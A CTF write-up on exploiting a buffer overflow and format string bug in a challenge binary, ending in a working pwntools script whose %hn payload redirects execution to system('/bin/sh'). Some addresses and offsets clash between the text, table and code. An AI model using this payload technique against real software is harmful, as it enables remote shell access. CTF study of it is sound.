AMSI CTF 2025 - Ahahah ! You didn't say the magic word
Category : PWN
Phreaks 2600
You can find this writeup at Phreaks 2600 website
Vulnerability
This was a buffer overflow leading to a format string vuln.
We could leak data and do an arbitrary write because of reflected address in the leak, at position %17$p.
Leak return address
It was possible to leak the return address by overflowing 256 bytes of data and then use a format string : in position %2$p we could leak a random stack address.
This random stack address was 628 bytes away from a return address.
Return address overwrite
Here is the strategy :
| Stack elements | Offset from EBP | Overwrite value |
|---|---|---|
| EBP | 0 | (unused) |
| Return address 1 | 4 | system (0x80507d0) |
| Return address 2 | 8 | (unused) |
| Argument 12 | “/bin/sh” | (0x80ba34d) |
We can do this in 4 writes of 2 bytes each (using %hn specifier) :
<stack_return_address_1>:0x27d0(2 less significant bytes of system)<stack_return_address_1 + 2>:0x0x0805(2 most significant bytes of system)<stack_return_address_1 + 8>:0xa34d(2 less significant bytes of “/bin/sh”)<stack_return_address_1 + 10>:0x080b(2 most significant bytes of “/bin/sh”)
Format string vuln exploit
I used 252 bytes of overflow (instead of 256 bytes) before doing the format string vuln exploit (because 4 bytes have already been written because of %2$p). For some reason, we have to substract our bytes values by 12 bytes (because 12 bytes have already been written to stdout but i have no idea when). Here is the payload :
| Stack position | Total of bytes written (modulo 65535) | Format string |
|---|---|---|
| return_address | 0x27d0 - 12 = 10180 |
%10180c%17$hn |
| return_address + 2 | (65536 - 10180) + 0x0805 - 12 = 57397 |
%57397c%18$hn |
| return_address + 8 | (65536 - (10180 + 57397)) + 0xa34d - 12 = 39752 |
%39752c%19$hn |
| return_address + 10 | 65536 - (10180 + 57397 + 39752) % 65536 + 0x80b - 12 = 25790 |
%25790c%20$hn |
Do not blame me for these horrific calculations, i hate format strings even though this is super powerful.
Exploit
11
2from pwn import *
3
4elf = ELF("GRID_security_panel_cli")
5p = remote("192.168.1.107",8000)
6
7# system @ 0x80527d0
8# /bin/sh @ 0x80ba34d
9
10p.recvuntil(b"> ")
11p.sendline(b"A"*256 + b"%2$p")
12stack_retaddr_leak = int(p.recv(4096).decode(),16) + 612 - 0x10
13print(hex(stack_retaddr_leak))
14p.sendline(p32(stack_retaddr_leak) + p32(stack_retaddr_leak + 2) + p32(stack_retaddr_leak + 8) + p32(stack_retaddr_leak + 10) + b'B'*252 + b'%10180c%17$hn%57397c%18$hn%39752c%19$hn%25790c%20$hn')
15p.sendline(b"quit")
16
17p.interactive()